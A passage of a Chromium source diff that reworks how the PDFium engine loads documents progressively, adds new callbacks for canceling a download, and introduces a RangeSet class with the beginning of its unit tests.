-  DocumentLoader* loader = static_cast<DocumentLoader*>(param);
-  return loader->GetBlock(position, size, buffer);
+  PDFiumEngine* engine = static_cast<PDFiumEngine*>(param);
+  return engine->doc_loader_->GetBlock(position, size, buffer);
 }
 
 FPDF_BOOL PDFiumEngine::IsDataAvail(FX_FILEAVAIL* param,
@@ -983,7 +983,7 @@
                                     size_t size) {
   PDFiumEngine::FileAvail* file_avail =
       static_cast<PDFiumEngine::FileAvail*>(param);
-  return file_avail->loader->IsDataAvailable(offset, size);
+  return file_avail->engine->doc_loader_->IsDataAvailable(offset, size);
 }
 
 void PDFiumEngine::AddSegment(FX_DOWNLOADHINTS* param,
@@ -991,7 +991,7 @@
                               size_t size) {
   PDFiumEngine::DownloadHints* download_hints =
       static_cast<PDFiumEngine::DownloadHints*>(param);
-  return download_hints->loader->RequestData(offset, size);
+  return download_hints->engine->doc_loader_->RequestData(offset, size);
 }
 
 bool PDFiumEngine::New(const char* url, const char* headers) {
@@ -1124,15 +1124,27 @@
 
 bool PDFiumEngine::HandleDocumentLoad(const pp::URLLoader& loader) {
   password_tries_remaining_ = kMaxPasswordTries;
-  return doc_loader_.Init(loader, url_, headers_);
+  process_when_pending_request_complete_ = true;
+  auto loader_wrapper =
+      base::MakeUnique<URLLoaderWrapperImpl>(GetPluginInstance(), loader);
+  loader_wrapper->SetResponseHeaders(headers_);
+
+  doc_loader_ = base::MakeUnique<DocumentLoader>(this);
+  if (doc_loader_->Init(std::move(loader_wrapper), url_)) {
+    // request initial data.
+    doc_loader_->RequestData(0, 1);
+    return true;
+  }
+  return false;
 }
 
 pp::Instance* PDFiumEngine::GetPluginInstance() {
   return client_->GetPluginInstance();
 }
 
-pp::URLLoader PDFiumEngine::CreateURLLoader() {
-  return client_->CreateURLLoader();
+std::unique_ptr<URLLoaderWrapper> PDFiumEngine::CreateURLLoader() {
+  return base::MakeUnique<URLLoaderWrapperImpl>(GetPluginInstance(),
+                                                client_->CreateURLLoader());
 }
 
 void PDFiumEngine::AppendPage(PDFEngine* engine, int index) {
@@ -1154,36 +1166,38 @@
 }
 #endif
 
-bool PDFiumEngine::IsProgressiveLoad() {
-  return doc_loader_.is_partial_document();
-}
-
 std::string PDFiumEngine::GetMetadata(const std::string& key) {
   return GetDocumentMetadata(doc(), key);
 }
 
-void PDFiumEngine::OnPartialDocumentLoaded() {
-  file_access_.m_FileLen = doc_loader_.document_size();
+void PDFiumEngine::OnPendingRequestComplete() {
+  if (!process_when_pending_request_complete_)
+    return;
   if (!fpdf_availability_) {
+    file_access_.m_FileLen = doc_loader_->GetDocumentSize();
     fpdf_availability_ = FPDFAvail_Create(&file_availability_, &file_access_);
     DCHECK(fpdf_availability_);
+    // Currently engine does not deal efficiently with some non-linearized
+    // files.
+    // See http://code.google.com/p/chromium/issues/detail?id=59400
+    // To improve user experience we download entire file for non-linearized
+    // PDF.
+    if (FPDFAvail_IsLinearized(fpdf_availability_) != PDF_LINEARIZED) {
+      // Wait complete document.
+      process_when_pending_request_complete_ = false;
+      FPDFAvail_Destroy(fpdf_availability_);
+      fpdf_availability_ = nullptr;
+      return;
+    }
   }
 
-  // Currently engine does not deal efficiently with some non-linearized files.
-  // See http://code.google.com/p/chromium/issues/detail?id=59400
-  // To improve user experience we download entire file for non-linearized PDF.
-  if (!FPDFAvail_IsLinearized(fpdf_availability_)) {
-    doc_loader_.RequestData(0, doc_loader_.document_size());
+  if (!doc_) {
+    LoadDocument();
     return;
   }
 
-  LoadDocument();
-}
-
-void PDFiumEngine::OnPendingRequestComplete() {
-  if (!doc_ || !form_) {
-    DCHECK(fpdf_availability_);
-    LoadDocument();
+  if (pages_.empty()) {
+    LoadBody();
     return;
   }
 
@@ -1204,30 +1218,44 @@
 }
 
 void PDFiumEngine::OnNewDataAvailable() {
-  client_->DocumentLoadProgress(doc_loader_.GetAvailableData(),
-                                doc_loader_.document_size());
-}
-
-void PDFiumEngine::OnDocumentFailed() {
-  client_->DocumentLoadFailed();
-}
-
-void PDFiumEngine::OnDocumentComplete() {
-  if (!doc_ || !form_) {
-    file_access_.m_FileLen = doc_loader_.document_size();
-    if (!fpdf_availability_) {
-      fpdf_availability_ = FPDFAvail_Create(&file_availability_, &file_access_);
-      DCHECK(fpdf_availability_);
-    }
-    LoadDocument();
+  if (!doc_loader_->GetDocumentSize()) {
+    client_->DocumentLoadProgress(doc_loader_->count_of_bytes_received(), 0);
     return;
   }
 
-  FinishLoadingDocument();
+  const float progress = doc_loader_->GetProgress();
+  DCHECK_GE(progress, 0.0);
+  DCHECK_LE(progress, 1.0);
+  client_->DocumentLoadProgress(progress * 10000, 10000);
+}
+
+void PDFiumEngine::OnDocumentComplete() {
+  if (doc_) {
+    return FinishLoadingDocument();
+  }
+  file_access_.m_FileLen = doc_loader_->GetDocumentSize();
+  if (!fpdf_availability_) {
+    fpdf_availability_ = FPDFAvail_Create(&file_availability_, &file_access_);
+    DCHECK(fpdf_availability_);
+  }
+  LoadDocument();
+}
+
+void PDFiumEngine::OnDocumentCanceled() {
+  if (visible_pages_.empty())
+    client_->DocumentLoadFailed();
+  else
+    OnDocumentComplete();
+}
+
+void PDFiumEngine::CancelBrowserDownload() {
+  client_->CancelBrowserDownload();
 }
 
 void PDFiumEngine::FinishLoadingDocument() {
-  DCHECK(doc_loader_.IsDocumentComplete() && doc_);
+  DCHECK(doc_loader_->IsDocumentComplete() && doc_);
+
+  LoadBody();
 
   bool need_update = false;
   for (size_t i = 0; i < pages_.size(); ++i) {
@@ -1478,7 +1506,7 @@
     return pp::Buffer_Dev();
 
   // If document is not downloaded yet, disable printing.
-  if (doc_ && !doc_loader_.IsDocumentComplete())
+  if (doc_ && !doc_loader_->IsDocumentComplete())
     return pp::Buffer_Dev();
 
   FPDF_DOCUMENT output_doc = FPDF_CreateNewDocument();
@@ -2698,7 +2726,7 @@
 void PDFiumEngine::LoadDocument() {
   // Check if the document is ready for loading. If it isn't just bail for now,
   // we will call LoadDocument() again later.
-  if (!doc_ && !doc_loader_.IsDocumentComplete() &&
+  if (!doc_ && !doc_loader_->IsDocumentComplete() &&
       !FPDFAvail_IsDocAvail(fpdf_availability_, &download_hints_)) {
     return;
   }
@@ -2737,13 +2765,12 @@
     password_cstr = password.c_str();
     password_tries_remaining_--;
   }
-  if (doc_loader_.IsDocumentComplete() &&
+  if (doc_loader_->IsDocumentComplete() &&
       !FPDFAvail_IsLinearized(fpdf_availability_)) {
     doc_ = FPDF_LoadCustomDocument(&file_access_, password_cstr);
   } else {
     doc_ = FPDFAvail_GetDocument(fpdf_availability_, password_cstr);
   }
-
   if (!doc_) {
     if (FPDF_GetLastError() == FPDF_ERR_PASSWORD)
       *needs_password = true;
@@ -2784,6 +2811,7 @@
     GetPasswordAndLoad();
     return;
   }
+
   if (!doc_) {
     client_->DocumentLoadFailed();
     return;
@@ -2795,45 +2823,23 @@
   permissions_ = FPDF_GetDocPermissions(doc_);
   permissions_handler_revision_ = FPDF_GetSecurityHandlerRevision(doc_);
 
-  if (!form_) {
-    int form_status =
-        FPDFAvail_IsFormAvail(fpdf_availability_, &download_hints_);
-    bool doc_complete = doc_loader_.IsDocumentComplete();
-    // Try again if the data is not available and the document hasn't finished
-    // downloading.
-    if (form_status == PDF_FORM_NOTAVAIL && !doc_complete)
-      return;
+  LoadBody();
 
-    form_ = FPDFDOC_InitFormFillEnvironment(
-        doc_, static_cast<FPDF_FORMFILLINFO*>(this));
-#if defined(PDF_ENABLE_XFA)
-    FPDF_LoadXFA(doc_);
-#endif
-
-    FPDF_SetFormFieldHighlightColor(form_, 0, kFormHighlightColor);
-    FPDF_SetFormFieldHighlightAlpha(form_, kFormHighlightAlpha);
-  }
-
-  if (!doc_loader_.IsDocumentComplete()) {
-    // Check if the first page is available.  In a linearized PDF, that is not
-    // always page 0.  Doing this gives us the default page size, since when the
-    // document is available, the first page is available as well.
-    CheckPageAvailable(FPDFAvail_GetFirstPageNum(doc_), &pending_pages_);
-  }
-
-  LoadPageInfo(false);
-
-  if (doc_loader_.IsDocumentComplete())
+  if (doc_loader_->IsDocumentComplete())
     FinishLoadingDocument();
 }
 
 void PDFiumEngine::LoadPageInfo(bool reload) {
+  if (!doc_loader_)
+    return;
+  if (pages_.empty() && reload)
+    return;
   pending_pages_.clear();
   pp::Size old_document_size = document_size_;
   document_size_ = pp::Size();
   std::vector<pp::Rect> page_rects;
   int page_count = FPDF_GetPageCount(doc_);
-  bool doc_complete = doc_loader_.IsDocumentComplete();
+  bool doc_complete = doc_loader_->IsDocumentComplete();
   bool is_linear = FPDFAvail_IsLinearized(fpdf_availability_) == PDF_LINEARIZED;
   for (int i = 0; i < page_count; ++i) {
     if (i != 0) {
@@ -2889,11 +2895,59 @@
     client_->DocumentSizeUpdated(document_size_);
 }
 
+void PDFiumEngine::LoadBody() {
+  DCHECK(doc_);
+  DCHECK(fpdf_availability_);
+  if (doc_loader_->IsDocumentComplete()) {
+    LoadForm();
+  } else if (FPDFAvail_IsLinearized(fpdf_availability_) == PDF_LINEARIZED &&
+             FPDF_GetPageCount(doc_) == 1) {
+    // If we have only one page we should load form first, bacause it is may be
+    // XFA document. And after loading form the page count and its contents may
+    // be changed.
+    LoadForm();
+    if (form_status_ == PDF_FORM_NOTAVAIL)
+      return;
+  }
+  LoadPages();
+}
+
+void PDFiumEngine::LoadPages() {
+  if (pages_.empty()) {
+    if (!doc_loader_->IsDocumentComplete()) {
+      // Check if the first page is available.  In a linearized PDF, that is not
+      // always page 0.  Doing this gives us the default page size, since when
+      // the document is available, the first page is available as well.
+      CheckPageAvailable(FPDFAvail_GetFirstPageNum(doc_), &pending_pages_);
+    }
+    LoadPageInfo(false);
+  }
+}
+
+void PDFiumEngine::LoadForm() {
+  if (form_)
+    return;
+  DCHECK(doc_);
+  form_status_ = FPDFAvail_IsFormAvail(fpdf_availability_, &download_hints_);
+  if (form_status_ != PDF_FORM_NOTAVAIL || doc_loader_->IsDocumentComplete()) {
+    form_ = FPDFDOC_InitFormFillEnvironment(
+        doc_, static_cast<FPDF_FORMFILLINFO*>(this));
+#if defined(PDF_ENABLE_XFA)
+    FPDF_LoadXFA(doc_);
+#endif
+
+    FPDF_SetFormFieldHighlightColor(form_, 0, kFormHighlightColor);
+    FPDF_SetFormFieldHighlightAlpha(form_, kFormHighlightAlpha);
+  }
+}  // namespace chrome_pdf
+
 void PDFiumEngine::CalculateVisiblePages() {
+  if (!doc_loader_)
+    return;
   // Clear pending requests queue, since it may contain requests to the pages
   // that are already invisible (after scrolling for example).
   pending_pages_.clear();
-  doc_loader_.ClearPendingRequests();
+  doc_loader_->ClearPendingRequests();
 
   visible_pages_.clear();
   pp::Rect visible_rect(plugin_size_);
@@ -2954,7 +3008,7 @@
 }
 
 bool PDFiumEngine::CheckPageAvailable(int index, std::vector<int>* pending) {
-  if (!doc_ || !form_)
+  if (!doc_)
     return false;
 
   const int num_pages = static_cast<int>(pages_.size());
diff --git a/pdf/pdfium/pdfium_engine.h b/pdf/pdfium/pdfium_engine.h
index 1cdab1c9..6ac009d 100644
--- a/pdf/pdfium/pdfium_engine.h
+++ b/pdf/pdfium/pdfium_engine.h
@@ -105,7 +105,6 @@
 #if defined(PDF_ENABLE_XFA)
   void SetScrollPosition(const pp::Point& position) override;
 #endif
-  bool IsProgressiveLoad() override;
   std::string GetMetadata(const std::string& key) override;
   void SetCaretPosition(const pp::Point& position) override;
   void MoveRangeSelectionExtent(const pp::Point& extent) override;
@@ -114,12 +113,12 @@
 
   // DocumentLoader::Client implementation.
   pp::Instance* GetPluginInstance() override;
-  pp::URLLoader CreateURLLoader() override;
-  void OnPartialDocumentLoaded() override;
+  std::unique_ptr<URLLoaderWrapper> CreateURLLoader() override;
   void OnPendingRequestComplete() override;
   void OnNewDataAvailable() override;
-  void OnDocumentFailed() override;
   void OnDocumentComplete() override;
+  void OnDocumentCanceled() override;
+  void CancelBrowserDownload() override;
 
   void UnsupportedFeature(int type);
   void FontSubstituted();
@@ -198,11 +197,11 @@
   friend class SelectionChangeInvalidator;
 
   struct FileAvail : public FX_FILEAVAIL {
-    DocumentLoader* loader;
+    PDFiumEngine* engine;
   };
 
   struct DownloadHints : public FX_DOWNLOADHINTS {
-    DocumentLoader* loader;
+    PDFiumEngine* engine;
   };
 
   // PDFium interface to get block of data.
@@ -250,6 +249,12 @@
   // document size.
   void LoadPageInfo(bool reload);
 
+  void LoadBody();
+
+  void LoadPages();
+
+  void LoadForm();
+
   // Calculates which pages should be displayed right now.
   void CalculateVisiblePages();
 
@@ -630,7 +635,7 @@
   double current_zoom_;
   unsigned int current_rotation_;
 
-  DocumentLoader doc_loader_;  // Main document's loader.
+  std::unique_ptr<DocumentLoader> doc_loader_;  // Main document's loader.
   std::string url_;
   std::string headers_;
   pp::CompletionCallbackFactory<PDFiumEngine> find_factory_;
@@ -648,6 +653,9 @@
   // on the page.
   FPDF_FORMHANDLE form_;
 
+  // Current form availability status.
+  int form_status_ = PDF_FORM_NOTAVAIL;
+
   // The page(s) of the document.
   std::vector<std::unique_ptr<PDFiumPage>> pages_;
 
@@ -775,6 +783,11 @@
   // to false after the user finishes getting their password.
   bool getting_password_;
 
+  // While true, the document try to be opened and parsed after download each
+  // part. Else the document will be opened and parsed only on finish of
+  // downloading.
+  bool process_when_pending_request_complete_ = true;
+
   enum class RangeSelectionDirection { Left, Right };
   RangeSelectionDirection range_selection_direction_;
 
diff --git a/pdf/preview_mode_client.cc b/pdf/preview_mode_client.cc
index 677ce02..4d41a4ac 100644
--- a/pdf/preview_mode_client.cc
+++ b/pdf/preview_mode_client.cc
@@ -163,6 +163,8 @@
   return false;
 }
 
+void PreviewModeClient::CancelBrowserDownload() {}
+
 uint32_t PreviewModeClient::GetBackgroundColor() {
   NOTREACHED();
   return 0;
diff --git a/pdf/preview_mode_client.h b/pdf/preview_mode_client.h
index 82c0792..04f09b5 100644
--- a/pdf/preview_mode_client.h
+++ b/pdf/preview_mode_client.h
@@ -72,6 +72,7 @@
   void DocumentLoadProgress(uint32_t available, uint32_t doc_size) override;
   void FormTextFieldFocusChange(bool in_focus) override;
   bool IsPrintPreview() override;
+  void CancelBrowserDownload() override;
   uint32_t GetBackgroundColor() override;
 
  private:
diff --git a/pdf/range_set.cc b/pdf/range_set.cc
new file mode 100644
index 0000000..df53d660
--- /dev/null
+++ b/pdf/range_set.cc
@@ -0,0 +1,253 @@
+// Copyright 2016 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "pdf/range_set.h"
+
+#include <algorithm>
+#include <sstream>
+#include <vector>
+
+namespace chrome_pdf {
+
+namespace {
+
+gfx::Range FixDirection(const gfx::Range& range) {
+  if (!range.IsValid() || !range.is_reversed())
+    return range;
+  return gfx::Range(range.end() + 1, range.start() + 1);
+}
+
+}  // namespace
+
+RangeSet::RangeSet() {}
+
+RangeSet::RangeSet(const gfx::Range& range) {
+  Union(range);
+}
+
+RangeSet::RangeSet(const RangeSet& range_set) : ranges_(range_set.ranges_) {}
+
+RangeSet::RangeSet(RangeSet&& range_set)
+    : ranges_(std::move(range_set.ranges_)) {}
+
+RangeSet& RangeSet::operator=(const RangeSet& other) {
+  ranges_ = other.ranges_;
+  return *this;
+}
+
+RangeSet::~RangeSet() {}
+
+bool RangeSet::operator==(const RangeSet& other) const {
+  return other.ranges_ == ranges_;
+}
+
+bool RangeSet::operator!=(const RangeSet& other) const {
+  return other.ranges_ != ranges_;
+}
+
+void RangeSet::Union(const gfx::Range& range) {
+  if (range.is_empty())
+    return;
+  gfx::Range fixed_range = FixDirection(range);
+  if (IsEmpty()) {
+    ranges_.insert(fixed_range);
+    return;
+  }
+
+  auto start = ranges_.upper_bound(fixed_range);
+  if (start != ranges_.begin())
+    --start;  // start now points to the key equal or lower than offset.
+  if (start->end() < fixed_range.start())
+    ++start;  // start element is entirely before current range, skip it.
+
+  auto end = ranges_.upper_bound(gfx::Range(fixed_range.end()));
+  if (start == end) {  // No ranges to merge.
+    ranges_.insert(fixed_range);
+    return;
+  }
+
+  --end;
+
+  int new_start = std::min<size_t>(start->start(), fixed_range.start());
+  int new_end = std::max(end->end(), fixed_range.end());
+
+  ranges_.erase(start, ++end);
+  ranges_.insert(gfx::Range(new_start, new_end));
+}
+
+void RangeSet::Union(const RangeSet& range_set) {
+  if (&range_set == this)
+    return;
+  for (const auto& it : range_set.ranges()) {
+    Union(it);
+  }
+}
+
+bool RangeSet::Contains(uint32_t point) const {
+  return Contains(gfx::Range(point, point + 1));
+}
+
+bool RangeSet::Contains(const gfx::Range& range) const {
+  if (range.is_empty())
+    return false;
+  const gfx::Range fixed_range = FixDirection(range);
+  auto it = ranges().upper_bound(fixed_range);
+  if (it == ranges().begin())
+    return false;  // No ranges includes range.start().
+
+  --it;  // Now it starts equal or before range.start().
+  return it->end() >= fixed_range.end();
+}
+
+bool RangeSet::Contains(const RangeSet& range_set) const {
+  for (const auto& it : range_set.ranges()) {
+    if (!Contains(it))
+      return false;
+  }
+  return true;
+}
+
+bool RangeSet::Intersects(const gfx::Range& range) const {
+  if (IsEmpty() || range.is_empty())
+    return false;
+  const gfx::Range fixed_range = FixDirection(range);
+  auto start = ranges_.upper_bound(fixed_range);
+  if (start != ranges_.begin()) {
+    --start;
+  }
+  // start now points to the key equal or lower than range.start().
+  if (start->end() < range.start()) {
+    // start element is entirely before current range, skip it.
+    ++start;
+  }
+  auto end = ranges_.upper_bound(gfx::Range(fixed_range.end()));
+  for (auto it = start; it != end; ++it) {
+    if (fixed_range.end() > it->start() && fixed_range.start() < it->end())
+      return true;
+  }
+  return false;
+}
+
+bool RangeSet::Intersects(const RangeSet& range_set) const {
+  for (const auto& it : range_set.ranges()) {
+    if (Intersects(it))
+      return true;
+  }
+  return false;
+}
+
+void RangeSet::Intersect(const gfx::Range& range) {
+  Intersect(RangeSet(range));
+}
+
+void RangeSet::Intersect(const RangeSet& range_set) {
+  if (IsEmpty())
+    return;
+  RangesContainer new_ranges;
+  for (const auto& range : range_set.ranges()) {
+    auto start = ranges_.upper_bound(range);
+    if (start != ranges_.begin())
+      --start;  // start now points to the key equal or lower than
+                // range.start().
+    if (start->end() < range.start())
+      ++start;  // start element is entirely before current range, skip it.
+    auto end = ranges_.upper_bound(gfx::Range(range.end()));
+    if (start == end) {  // No data in the current range available.
+      continue;
+    }
+    for (auto it = start; it != end; ++it) {
+      const gfx::Range new_range = range.Intersect(*it);
+      if (!new_range.is_empty()) {
+        new_ranges.insert(new_range);
+      }
+    }
+  }
+  new_ranges.swap(ranges_);
+}
+
+void RangeSet::Subtract(const gfx::Range& range) {
+  if (range.is_empty() || IsEmpty())
+    return;
+  const gfx::Range fixed_range = FixDirection(range);
+  auto start = ranges_.upper_bound(fixed_range);
+  if (start != ranges_.begin())
+    --start;  // start now points to the key equal or lower than
+              // range.start().
+  if (start->end() < fixed_range.start())
+    ++start;  // start element is entirely before current range, skip it.
+  auto end = ranges_.upper_bound(gfx::Range(fixed_range.end()));
+  if (start == end) {  // No data in the current range available.
+    return;
+  }
+  std::vector<gfx::Range> new_ranges;
+  for (auto it = start; it != end; ++it) {
+    const gfx::Range left(it->start(),
+                          std::min(it->end(), fixed_range.start()));
+    const gfx::Range right(std::max(it->start(), fixed_range.end()), it->end());
+    if (!left.is_empty() && !left.is_reversed()) {
+      new_ranges.push_back(left);
+    }
+    if (!right.is_empty() && !right.is_reversed() && right != left) {
+      new_ranges.push_back(right);
+    }
+  }
+  ranges_.erase(start, end);
+  for (const auto& it : new_ranges) {
+    ranges_.insert(it);
+  }
+}
+
+void RangeSet::Subtract(const RangeSet& range_set) {
+  if (&range_set == this) {
+    ranges_.clear();
+    return;
+  }
+  for (const auto& range : range_set.ranges()) {
+    Subtract(range);
+  }
+}
+
+void RangeSet::Xor(const gfx::Range& range) {
+  Xor(RangeSet(range));
+}
+
+void RangeSet::Xor(const RangeSet& range_set) {
+  RangeSet tmp = *this;
+  tmp.Intersect(range_set);
+  Union(range_set);
+  Subtract(tmp);
+}
+
+bool RangeSet::IsEmpty() const {
+  return ranges().empty();
+}
+
+void RangeSet::Clear() {
+  ranges_.clear();
+}
+
+gfx::Range RangeSet::First() const {
+  return *ranges().begin();
+}
+
+gfx::Range RangeSet::Last() const {
+  return *ranges().rbegin();
+}
+
+std::string RangeSet::ToString() const {
+  std::stringstream ss;
+  ss << "{";
+  for (const auto& it : ranges()) {
+    ss << "[" << it.start() << "," << it.end() << ")";
+  }
+  ss << "}";
+  return ss.str();
+}
+
+}  // namespace chrome_pdf
+
+std::ostream& operator<<(std::ostream& os,
+                         const chrome_pdf::RangeSet& range_set) {
+  return (os << range_set.ToString());
+}
diff --git a/pdf/range_set.h b/pdf/range_set.h
new file mode 100644
index 0000000..b615999
--- /dev/null
+++ b/pdf/range_set.h
@@ -0,0 +1,77 @@
+// Copyright 2016 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Defines a set of geometric ranges, and standard operations on it.
+
+#ifndef PDF_RANGE_SET_H_
+#define PDF_RANGE_SET_H_
+
+#include <ostream>
+#include <set>
+#include <string>
+
+#include "ui/gfx/range/range.h"
+
+namespace chrome_pdf {
+
+class RangeSet {
+ public:
+  RangeSet();
+  explicit RangeSet(const gfx::Range& range);
+  ~RangeSet();
+
+  RangeSet(const RangeSet& range_set);
+  RangeSet(RangeSet&& range_set);
+  RangeSet& operator=(const RangeSet& other);
+
+  bool operator==(const RangeSet& other) const;
+  bool operator!=(const RangeSet& other) const;
+
+  bool Contains(uint32_t point) const;
+  bool Contains(const gfx::Range& range) const;
+  bool Contains(const RangeSet& range_set) const;
+
+  bool Intersects(const gfx::Range& range) const;
+  bool Intersects(const RangeSet& range_set) const;
+
+  void Union(const gfx::Range& range);
+  void Union(const RangeSet& range_set);
+
+  void Intersect(const gfx::Range& range);
+  void Intersect(const RangeSet& range_set);
+
+  void Subtract(const gfx::Range& range);
+  void Subtract(const RangeSet& range_set);
+
+  void Xor(const gfx::Range& range);
+  void Xor(const RangeSet& range_set);
+
+  bool IsEmpty() const;
+  void Clear();
+
+  gfx::Range First() const;
+  gfx::Range Last() const;
+  std::string ToString() const;
+
+  struct range_compare {
+    bool operator()(const gfx::Range& lval, const gfx::Range& rval) const {
+      return lval.start() < rval.start();
+    }
+  };
+
+  using RangesContainer = std::set<gfx::Range, range_compare>;
+
+  const RangesContainer& ranges() const { return ranges_; }
+  size_t Size() const { return ranges_.size(); }
+
+ private:
+  RangesContainer ranges_;
+};
+
+}  // namespace chrome_pdf
+
+std::ostream& operator<<(std::ostream& os,
+                         const chrome_pdf::RangeSet& range_set);
+
+#endif  // PDF_RANGE_SET_H_
diff --git a/pdf/range_set_unittest.cc b/pdf/range_set_unittest.cc
new file mode 100644
index 0000000..75047dd
--- /dev/null
+++ b/pdf/range_set_unittest.cc
@@ -0,0 +1,303 @@
+// Copyright 2016 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "pdf/range_set.h"
+
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace chrome_pdf {
+
+TEST(RangeSetTest, Union) {
+  {
+    RangeSet range_set;
+    EXPECT_EQ("{}", range_set.ToString());
+    range_set.Union(gfx::Range(50, 100));
+    EXPECT_EQ("{[50,100)}", range_set.ToString());
+    range_set.Union(gfx::Range(80, 150));
+    EXPECT_EQ("{[50,150)}", range_set.ToString());
+    range_set.Union(gfx::Range(0, 70));
+    EXPECT_EQ("{[0,150)}", range_set.ToString());
+    range_set.Union(gfx::Range(70, 120));
+    EXPECT_EQ("{[0,150)}", range_set.ToString());
+    range_set.Union(gfx::Range(200, 150));
+    EXPECT_EQ("{[0,150)[151,201)}", range_set.ToString());
+    range_set.Union(gfx::Range(150, 151));
+    EXPECT_EQ("{[0,201)}", range_set.ToString());
+    range_set.Union(gfx::Range(0, 300));
+    EXPECT_EQ("{[0,300)}", range_set.ToString());
+    range_set.Union(gfx::Range(500, 600));
+    EXPECT_EQ("{[0,300)[500,600)}", range_set.ToString());
+  }
+  {
+    RangeSet range_set_1;
+    range_set_1.Union(gfx::Range(0, 10));
+    range_set_1.Union(gfx::Range(20, 30));
+    range_set_1.Union(gfx::Range(40, 50));
+
+    EXPECT_EQ("{[0,10)[20,30)[40,50)}", range_set_1.ToString());
+    range_set_1.Union(range_set_1);
+    EXPECT_EQ("{[0,10)[20,30)[40,50)}", range_set_1.ToString());
+
+    RangeSet range_set_2;
+    range_set_2.Union(gfx::Range(10, 20));
+    range_set_2.Union(gfx::Range(30, 40));
+    range_set_2.Union(gfx::Range(50, 60));
+
+    EXPECT_EQ("{[10,20)[30,40)[50,60)}", range_set_2.ToString());
+    range_set_1.Union(range_set_2);
+    EXPECT_EQ("{[0,60)}", range_set_1.ToString());
+    EXPECT_EQ(RangeSet(gfx::Range(0, 60)), range_set_1);
+  }
+}
+
+TEST(RangeSetTest, Contains) {
+  RangeSet range_set;
+  range_set.Union(gfx::Range(10, 20));
+  range_set.Union(gfx::Range(30, 40));
+  range_set.Union(gfx::Range(50, 60));
+  EXPECT_TRUE(range_set.Contains(range_set));
+
+  {
+    EXPECT_FALSE(range_set.Contains(9));
+    EXPECT_FALSE(range_set.Contains(29));
+    EXPECT_FALSE(range_set.Contains(49));
+
+    EXPECT_TRUE(range_set.Contains(10));
+    EXPECT_TRUE(range_set.Contains(30));
+    EXPECT_TRUE(range_set.Contains(50));
+
+    EXPECT_TRUE(range_set.Contains(15));
+    EXPECT_TRUE(range_set.Contains(35));
+    EXPECT_TRUE(range_set.Contains(55));
+
+    EXPECT_TRUE(range_set.Contains(19));
+    EXPECT_TRUE(range_set.Contains(39));
+    EXPECT_TRUE(range_set.Contains(59));
+
+    EXPECT_FALSE(range_set.Contains(20));
+    EXPECT_FALSE(range_set.Contains(40));
+    EXPECT_FALSE(range_set.Contains(60));
+  }
+  {
+    EXPECT_FALSE(range_set.Contains(gfx::Range(0, 10)));
+    EXPECT_FALSE(range_set.Contains(gfx::Range(20, 30)));
+    EXPECT_FALSE(range_set.Contains(gfx::Range(40, 50)));
+
+    EXPECT_FALSE(range_set.Contains(gfx::Range(5, 15)));
+    EXPECT_FALSE(range_set.Contains(gfx::Range(25, 35)));
+    EXPECT_FALSE(range_set.Contains(gfx::Range(45, 55)));
+
+    EXPECT_TRUE(range_set.Contains(gfx::Range(10, 15)));
+    EXPECT_TRUE(range_set.Contains(gfx::Range(30, 35)));
+    EXPECT_TRUE(range_set.Contains(gfx::Range(50, 55)));
+
+    EXPECT_TRUE(range_set.Contains(gfx::Range(15, 20)));
+    EXPECT_TRUE(range_set.Contains(gfx::Range(35, 40)));
+    EXPECT_TRUE(range_set.Contains(gfx::Range(55, 60)));
+
+    EXPECT_TRUE(range_set.Contains(gfx::Range(10, 20)));
+    EXPECT_TRUE(range_set.Contains(gfx::Range(30, 40)));
+    EXPECT_TRUE(range_set.Contains(gfx::Range(50, 60)));
+
+    EXPECT_FALSE(range_set.Contains(gfx::Range(15, 25)));
+    EXPECT_FALSE(range_set.Contains(gfx::Range(35, 45)));
+    EXPECT_FALSE(range_set.Contains(gfx::Range(55, 65)));
+
+    EXPECT_FALSE(range_set.Contains(gfx::Range(20, 25)));
+    EXPECT_FALSE(range_set.Contains(gfx::Range(40, 45)));
+    EXPECT_FALSE(range_set.Contains(gfx::Range(60, 65)));
+
+    EXPECT_FALSE(range_set.Contains(gfx::Range(0, 100)));
+  }
+  {
+    RangeSet range_set_2 = range_set;
+    EXPECT_TRUE(range_set_2.Contains(range_set));
+    range_set_2.Union(gfx::Range(100, 200));
+    EXPECT_TRUE(range_set_2.Contains(range_set));
+    EXPECT_FALSE(range_set.Contains(range_set_2));
+  }
+}
+
+TEST(RangeSetTest, Intersects) {
+  RangeSet range_set;
+  range_set.Union(gfx::Range(10, 20));
+  range_set.Union(gfx::Range(30, 40));
+  range_set.Union(gfx::Range(50, 60));
+  EXPECT_TRUE(range_set.Intersects(range_set));
+  {
+    EXPECT_FALSE(range_set.Intersects(gfx::Range(0, 10)));
+    EXPECT_FALSE(range_set.Intersects(gfx::Range(20, 30)));
+    EXPECT_FALSE(range_set.Intersects(gfx::Range(40, 50)));
+
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(5, 15)));
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(25, 35)));
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(45, 55)));
+
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(10, 15)));
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(30, 35)));
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(50, 55)));
+
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(15, 20)));
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(35, 40)));
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(55, 60)));
+
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(10, 20)));
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(30, 40)));
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(50, 60)));
+
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(15, 25)));
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(35, 45)));
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(55, 65)));
+
+    EXPECT_FALSE(range_set.Intersects(gfx::Range(20, 25)));
+    EXPECT_FALSE(range_set.Intersects(gfx::Range(40, 45)));
+    EXPECT_FALSE(range_set.Intersects(gfx::Range(60, 65)));
+
+    EXPECT_TRUE(range_set.Intersects(gfx::Range(0, 100)));
+  }
+  {
+    RangeSet range_set_2;
+    range_set_2.Union(gfx::Range(5, 15));
